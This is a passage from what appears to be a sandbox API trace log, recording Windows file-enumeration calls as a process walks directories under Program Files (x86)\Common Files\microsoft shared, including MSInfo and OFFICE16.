dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.374] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed06c00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0x11873cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x6ed06c00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x2ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensibility.dll", cAlternateFileName="EXTENS~1.DLL")) returned 1 [0064.374] GetLastError () returned 0x12 [0064.374] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.374] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.374] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11873cc0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x11873cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x11873cc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 0 [0064.374] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0064.374] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3850098 | out: hHeap=0xab0000) returned 1 [0064.374] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0064.374] GetLastError () returned 0x12 [0064.374] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0064.375] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.375] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0064.375] GetLastError () returned 0x12 [0064.376] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.376] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.376] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99bae7b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x99bae7b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0064.376] GetLastError () returned 0x12 [0064.376] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.376] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.376] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a868239, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a868239, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a868239, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0064.376] GetLastError () returned 0x12 [0064.376] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0064.376] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3850098 | out: hHeap=0xab0000) returned 1 [0064.377] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd57f8fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x33290a20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x33290a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0064.377] GetLastError () returned 0x12 [0064.377] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd57f8fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x33290a20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x33290a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0064.377] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd57f8fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x33290a20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x33290a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.377] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3049f00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xec535f60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xec535f60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0064.377] GetLastError () returned 0x12 [0064.377] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\1033\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\1033\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3049f00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xec535f60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xec535f60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0064.725] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3049f00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xec535f60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xec535f60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.725] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb99fb300, ftCreationTime.dwHighDateTime=0x1d0cb69, ftLastAccessTime.dwLowDateTime=0xeaa6e7e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb99fb300, ftLastWriteTime.dwHighDateTime=0x1d0cb69, nFileSizeHigh=0x0, nFileSizeLow=0x314f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0064.725] GetLastError () returned 0x12 [0064.725] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0064.726] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.732] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d9f3f00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0xc7850c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x6d9f3f00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x19c2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0064.732] GetLastError () returned 0x12 [0064.733] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Cultures\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\cultures\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3139ec20, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x3139ec20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x3139ec20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0064.733] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3139ec20, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x3139ec20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x3139ec20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.733] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d9f3f00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0x313eaee0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x6d9f3f00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x1b82a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0064.734] GetLastError () returned 0x12 [0064.734] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0064.734] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.734] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe696af00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x33302e40, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x33302e40, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataModel", cAlternateFileName="DATAMO~1")) returned 1 [0064.734] GetLastError () returned 0x12 [0064.734] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\DataModel\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\datamodel\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe696af00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x33302e40, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x33302e40, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0064.736] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe696af00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x33302e40, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x33302e40, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.736] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8ed1a0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x3284cb40, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x3284cb40, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0064.736] GetLastError () returned 0x12 [0064.736] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\DataModel\\Cartridges\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\datamodel\\cartridges\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8ed1a0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x3284cb40, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x3284cb40, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0064.739] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8ed1a0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x3284cb40, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x3284cb40, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.739] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x255ef300, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x43e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0064.739] GetLastError () returned 0x12 [0064.739] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0064.740] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0064.740] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x675a7700, ftCreationTime.dwHighDateTime=0x1d0ca2f, ftLastAccessTime.dwLowDateTime=0xfdac540, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x675a7700, ftLastWriteTime.dwHighDateTime=0x1d0ca2f, nFileSizeHigh=0x0, nFileSizeLow=0x17e0c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0064.740] GetLastError () returned 0x12 [0064.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\DataModel\\Resources\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\datamodel\\resources\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe696af00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe696af00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe696af00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0064.740] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe696af00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe696af00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe696af00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.740] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe696af00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe696af00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe696af00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0064.741] GetLastError () returned 0x12 [0064.741] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\DataModel\\Resources\\1033\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\datamodel\\resources\\1033\\*"), lpFindFileData=0x2e6e7c0 | out: lpFindFileData=0x2e6e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe696af00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe696af00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe696af00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0064.741] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6e7c0 | out: lpFindFileData=0x2e6e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe696af00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe696af00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe696af00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.741] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6e7c0 | out: lpFindFileData=0x2e6e7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6abd2500, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0xe696af00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x6abd2500, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x114ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrvi_xl.rll", cAlternateFileName="MSMDSR~1.RLL")) returned 1 [0064.741] GetLastError () returned 0x12 [0064.741] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0064.741] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0064.741] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe696af00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe696af00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe696af00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0064.741] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0064.741] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0064.741] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x675a7700, ftCreationTime.dwHighDateTime=0x1d0ca2f, ftLastAccessTime.dwLowDateTime=0x1e14bd00, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x675a7700, ftLastWriteTime.dwHighDateTime=0x1d0ca2f, nFileSizeHigh=0x0, nFileSizeLow=0x1c190, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0064.742] GetLastError () returned 0x12 [0064.742] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0064.742] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.742] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xead8e4c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xead8e4c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xead8e4c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us", cAlternateFileName="")) returned 1 [0064.742] GetLastError () returned 0x12 [0064.742] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\en-us\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xead8e4c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xead8e4c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xead8e4c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, 